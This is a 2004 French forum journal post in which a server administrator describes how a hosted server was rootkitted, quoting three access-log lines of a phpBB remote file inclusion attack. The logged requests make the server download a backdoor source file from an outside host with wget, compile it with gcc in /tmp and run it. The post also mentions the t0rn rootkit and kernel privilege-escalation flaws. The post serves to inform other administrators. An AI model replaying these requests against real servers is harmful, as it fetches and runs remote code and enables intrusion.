URL: https://linuxfr.org/users/grayswandir/journaux/server-hacked Title: Server Hacked Authors: Sylvestre Ledru Date: 2004年04月20日T02:33:05+02:00 Tags: Score: 0 Un serveur que j'héberge a ete hacké (rootkit) vendredi dernier. Pour ceux que ca interesse, voila la technique que le gars a utilisé : 66.6.80.X - - [18/Apr/2004:01:05:29 +0200] "GET /forums/includes/db.php?phpbb_root_path=[http://sperwill-usa.com/(...)](http://sperwill-usa.com/) &dbms=mysql&phpEx=txt&cmd=wget%20sperwill-usa.com/acatalog/bacdoor.c%20-P%20/tmp HTTP/1.0" 200 145 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 66.6.80.X - - [18/Apr/2004:01:05:54 +0200] "GET /forums/includes/db.php?phpbb_root_path=[http://sperwill-usa.com/(...)](http://sperwill-usa.com/) &dbms=mysql&phpEx=txt&cmd=gcc%20/tmp/bacdoor.c%20-o%20/tmp/abc HTTP/1.0" 200 145 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 66.6.80.X - - [18/Apr/2004:01:06:01 +0200] "GET /forums/includes/db.php?phpbb_root_path=[http://sperwill-usa.com/(...)](http://sperwill-usa.com/) &dbms=mysql&phpEx=txt&cmd=/tmp/abc HTTP/1.0" 200 182 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" Bien evident, le serveur en question n'avait pas les options safe_mode à off ni d'open_basedir de specifié... Le rootkit qui a été installé ensuite est t0rn's v8 sans doute via la faille ptrace ou mremap (ben oui, kernel foireu : 2.4.18) Ceci est juste a titre informatif ... PS : ca fait quand meme mal de voir que ca a été hacké par un mec sous Windows :D (sauf si il force son User Agent) PS 2 : j'ai enleve le h de http pour eviter que templeet l'interprete :)